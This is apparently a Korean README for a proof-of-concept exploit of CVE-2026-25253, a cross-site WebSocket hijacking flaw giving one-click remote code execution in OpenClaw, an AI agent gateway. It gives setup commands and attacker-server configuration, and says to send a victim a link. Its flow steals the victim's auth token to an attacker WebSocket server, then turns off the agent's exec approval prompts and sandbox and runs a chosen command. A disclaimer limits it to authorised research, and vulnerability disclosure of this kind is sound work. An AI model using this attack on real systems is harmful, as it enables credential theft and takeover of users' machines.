
CVE-2026-25253에 대한 개념 증명 익스플로잇으로, 교차 사이트 WebSocket 하이재킹(Cross-Site WebSocket Hijacking)을 통해 OpenClaw에서 원클릭 RCE를 시연합니다. 토큰을 탈취하고 명령을 실행하기 위한 공격자 서버와 브라우저 기반 페이로드를 포함합니다.
Cross-Site WebSocket Hijacking을 통한 OpenClaw 원클릭 RCE.
면책 조항: 이 코드는 승인된 보안 연구 및 교육 목적으로만 제공됩니다. 명시적인 서면 허가 없이 시스템에 대해 이 코드를 사용하는 것은 불법이며 비윤리적입니다. 저자는 오용에 대해 어떠한 책임도 지지 않습니다.
이 취약점의 소스 코드 수준 분석과 이 PoC가 어떻게 구축되었는지에 대한 자세한 내용은 상세 분석을 읽어보세요.
localhost:18789)macOS (Homebrew):
brew install node
Ubuntu / Debian:
curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash -
sudo apt-get install -y nodejs
Windows:
https://nodejs.org/ 에서 설치 프로그램을 다운로드하고 안내에 따릅니다.
설치 확인:
node -v
npm -v
git clone https://github.com/al4n4n/CVE-2026-25253-research.git
cd CVE-2026-25253-research
npm install
이 명령은 유일한 의존성인 ws (WebSocket 라이브러리)를 설치합니다.
환경에 맞게 exploit.html 상단을 편집합니다:
const LOCAL_SCHEME = 'http'; // 피해자의 Control UI 스킴
const GATEWAY_URL = 'ws://127.0.0.1:18789'; // 피해자의 로컬 게이트웨이
const ATTACKER_WS_PORT = 8080; // 공격자 WS 포트 (attacker-server.js와 일치해야 함)
const ATTACKER_SCHEME = 'ws'; // TLS 뒤에 있으면 'wss' 사용
const COMMAND = 'touch /tmp/success'; // 피해자 호스트에서 실행할 명령
다른 포트가 필요하면 attacker-server.js 상단을 편집합니다:
const HTTP_PORT = 3000; // exploit.html 제공
const WS_PORT = 8080; // 탈취한 토큰 수집
node attacker-server.js
다음과 같은 출력이 표시됩니다:
============================================================
CVE-2026-25253 Attack Server
============================================================
[HTTP] Exploit page: http://0.0.0.0:3000/exploit.html
[WS] Token capture: ws://0.0.0.0:8080
Waiting for victim...
피해자에게 다음 URL을 보냅니다 (<ATTACKER_IP>를 자신의 IP로 교체):
http://<ATTACKER_IP>:3000/exploit.html
피해자는 이전에 OpenClaw Control UI를 사용한 적이 있는 브라우저에서 이 링크를 열어야 합니다 (localStorage에 인증 토큰이 있어야 함).
┌──────────────────────────────────────────────────────────────────────────┐
│ EXPLOIT FLOW │
├──────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. Victim visits http://<attacker>:3000/exploit.html │
│ │ │
│ 2. Page opens popup: http://127.0.0.1:18789?gatewayUrl=ws://<attacker> │
│ │ │
│ 3. Control UI in popup reads token from localStorage │
│ and sends it to attacker's WS server via gatewayUrl │
│ │ │
│ 4. Attacker server rejects first connect (device token) │
│ Control UI retries with settings token → CAPTURED │
│ │ │
│ 5. exploit.html opens its OWN WebSocket to ws://127.0.0.1:18789 │
│ (Cross-Site WebSocket Hijacking - no Origin validation) │
│ │ │
│ 6. Authenticates with stolen token, disables security: │
│ • exec.approvals.set → ask: "off" │
│ • config.patch → host: "gateway", sandbox.mode: "off" │
│ │ │
│ 7. Sends agent command → RCE on victim host │
│ │
└──────────────────────────────────────────────────────────────────────────┘
피해자 머신에서 명령이 실행되었는지 확인합니다:
ls -la /tmp/success
| 파일 | 설명 |
|---|---|
attacker-server.js | HTTP 서버 (exploit 페이지 제공) + WebSocket 서버 (탈취한 토큰 수집) |
exploit.html | 토큰 탈취, WebSocket 하이재킹, 보안 비활성화, 명령 실행을 수행하는 브라우저 기반 exploit 페이로드 |
package.json | Node.js 의존성 (ws) |